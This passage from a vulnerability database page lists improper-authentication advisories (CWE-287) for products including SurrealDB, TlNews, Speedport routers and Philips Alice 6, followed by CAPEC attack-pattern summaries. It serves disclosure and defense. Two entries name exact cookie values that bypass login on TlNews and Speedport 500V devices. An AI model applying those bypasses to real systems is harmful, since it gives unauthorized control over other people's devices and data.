    "nvd_published_at": "2014-03-14T16:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Puppet Enterprise (PE) before 2.6.1 does not properly invalidate sessions when the session secret has changed, which allows remote authenticated users to retain access via unspecified vectors.",
  "id": "GHSA-ggqp-jmq3-2qm6",
  "modified": "2022-05-14T00:56:51Z",
  "published": "2022-05-14T00:56:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5158"
    },
    {
      "type": "WEB",
      "url": "http://puppetlabs.com/security/cve/cve-2012-5158"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GH52-V677-5J69

Vulnerability from github – Published: 2022-05-13 01:32 – Updated: 2022-05-13 01:32
VLAI
Details

In Philips Alice 6 System version R8.0.2 or prior, when an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct. This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or the ability to execute arbitrary code.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-5451"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-03-28T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "In Philips Alice 6 System version R8.0.2 or prior, when an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct. This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or the ability to execute arbitrary code.",
  "id": "GHSA-gh52-v677-5j69",
  "modified": "2022-05-13T01:32:08Z",
  "published": "2022-05-13T01:32:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5451"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSMA-18-086-01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/103537"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GH75-GGHQ-3C7W

Vulnerability from github – Published: 2022-05-17 00:46 – Updated: 2022-05-17 00:46
VLAI
Details

TlNews 2.2 allows remote attackers to bypass authentication and gain administrative access by setting the tlNews_login cookie to admin.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-4752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-10-27T20:00:00Z",
    "severity": "HIGH"
  },
  "details": "TlNews 2.2 allows remote attackers to bypass authentication and gain administrative access by setting the tlNews_login cookie to admin.",
  "id": "GHSA-gh75-gghq-3c7w",
  "modified": "2022-05-17T00:46:39Z",
  "published": "2022-05-17T00:46:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4752"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46116"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6836"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/32405"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/4511"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/31919"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GH9F-6XM2-C4J2

Vulnerability from github – Published: 2024-07-11 13:19 – Updated: 2024-07-11 13:19
VLAI
Summary
SurrealDB vulnerable to Improper Authentication when Changing Databases as Scope User
Details

Authentication would not be properly validated when an already authenticated scope user would use the use method or USE clause to switch working databases in a session. If there was a user record in the new database with identical record identifier as the original record that the user authenticated with in the original database, this could result in the user being able to perform actions under the identity of the unrelated user in the new database. This issue does not affect system users at any level.

By default, record identifiers are randomly generated with sufficient complexity to prevent the identifier collision required to trigger this issue. However, the issue may trigger in situations where multiple databases in the same SurrealDB instance are using explicitly defined or incremental record identifiers to identify users on an identically named table.

Impact

Under the circumstances described above, a user who has an authenticated session as a scope user in a database could become authorized to query data under the identity of a specific scope user associated with an identical record identifier in a different database within the same SurrealDB instace if the PERMISSIONS clause would allow it due to relying exclusively on the $auth parameter, which would point to the impersonated user. The impact is limited to the single user with matching record identifier.

The impact of this issue is mitigated if the table PERMISSIONS clause explicitly checks for an scope that only exists in the specific database (e.g. $scope = "production") or certain claims of the authentication token (e.g. $token.email = "example@example.com"), both of which would remain unchanged in the session of the authenticated user after changing databases. Permissions will default to NONE if there is no PERMISSIONS clause, which also mitigates this impact of this issue.

Patches

  • Version 1.5.4 and later are not affected by this issue.
  • Version 2.0.0-alpha.6 and later will not be affected by this issue.

Workarounds

Users unable to update may want to ensure that table PERMISSIONS clauses explicitly check that the $scope parameter matches a scope that is uniquely named across databases in the same SurrealDB instance. Ensuring that record identifiers for users are automatically generated or explicitly generated to be unique across databases may also be sufficient to mitigate this issue, as the $auth parameter will not link to any user record and any PERMISSIONS clauses restricting authorization based on the authenticated user should fail to successfully evaluate.

References

  • https://github.com/surrealdb/surrealdb/pull/4335
Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.3"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "surrealdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.0-alpha.5"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "surrealdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-alpha.1"
            },
            {
              "fixed": "2.0.0-alpha.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.0"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "surrealdb-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-11T13:19:19Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Authentication would not be properly validated when an already authenticated scope user would use the `use` method or `USE` clause to switch working databases in a session. If there was a user record in the new database with identical record identifier as the original record that the user authenticated with in the original database, this could result in the user being able to perform actions under the identity of the unrelated user in the new database. This issue does not affect system users at any level.\n\nBy default, record identifiers are randomly generated with sufficient complexity to prevent the identifier collision required to trigger this issue. However, the issue may trigger in situations where multiple databases in the same SurrealDB instance are using explicitly defined or incremental record identifiers to identify users on an identically named table.\n\n### Impact\n\nUnder the circumstances described above, a user who has an authenticated session as a scope user in a database could become authorized to query data under the identity of a specific scope user associated with an identical record identifier in a different database within the same SurrealDB instace if the `PERMISSIONS` clause would allow it due to relying exclusively on the `$auth` parameter, which would point to the impersonated user. The impact is limited to the single user with matching record identifier.\n\nThe impact of this issue is mitigated if the table `PERMISSIONS` clause explicitly checks for an scope that only exists in the specific database (e.g. `$scope = \"production\"`) or certain claims of the authentication token (e.g. `$token.email = \"example@example.com\"`), both of which would remain unchanged in the session of the authenticated user after changing databases. Permissions will default to `NONE` if there is no `PERMISSIONS` clause, which also mitigates this impact of this issue.\n\n### Patches\n\n- Version 1.5.4 and later are not affected by this issue.\n- Version 2.0.0-alpha.6 and later will not be affected by this issue.\n\n### Workarounds\n\nUsers unable to update may want to ensure that table `PERMISSIONS` clauses explicitly check that the `$scope` parameter matches a scope that is uniquely named across databases in the same SurrealDB instance. Ensuring that record identifiers for users are automatically generated or explicitly generated to be unique across databases may also be sufficient to mitigate this issue, as the `$auth` parameter will not link to any user record and any `PERMISSIONS` clauses restricting authorization based on the authenticated user should fail to successfully evaluate.\n\n### References\n\n- https://github.com/surrealdb/surrealdb/pull/4335",
  "id": "GHSA-gh9f-6xm2-c4j2",
  "modified": "2024-07-11T13:19:19Z",
  "published": "2024-07-11T13:19:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-gh9f-6xm2-c4j2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/pull/4335"
    },
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/commit/492f8378d57968dbdf5e63fad41b6ff59bba0b80"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/surrealdb/surrealdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SurrealDB vulnerable to Improper Authentication when Changing Databases as Scope User"
}

GHSA-GHFG-2JQ3-2J8W

Vulnerability from github – Published: 2022-05-01 17:44 – Updated: 2022-05-01 17:44
VLAI
Details

T-Com Speedport 500V routers with firmware 1.31 allow remote attackers to bypass authentication and reconfigure the device via a LOGINKEY=TECOM cookie value.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2007-0435"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-01-23T02:28:00Z",
    "severity": "HIGH"
  },
  "details": "T-Com Speedport 500V routers with firmware 1.31 allow remote attackers to bypass authentication and reconfigure the device via a LOGINKEY=TECOM cookie value.",
  "id": "GHSA-ghfg-2jq3-2j8w",
  "modified": "2022-05-01T17:44:14Z",
  "published": "2022-05-01T17:44:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-0435"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/31621"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/32995"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/23853"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/457453/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/457645/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/457656/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/460319/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/22160"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GHX5-R834-WPJQ

Vulnerability from github – Published: 2025-11-04 09:31 – Updated: 2025-11-04 18:31
VLAI
Details

In preloader, there is a possible escalation of privilege due to an insecure default value. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10068463; Issue ID: MSV-4141.

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-20730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-04T07:15:36Z",
    "severity": "MODERATE"
  },
  "details": "In preloader, there is a possible escalation of privilege due to an insecure default value. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10068463; Issue ID: MSV-4141.",
  "id": "GHSA-ghx5-r834-wpjq",
  "modified": "2025-11-04T18:31:57Z",
  "published": "2025-11-04T09:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20730"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/November-2025"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list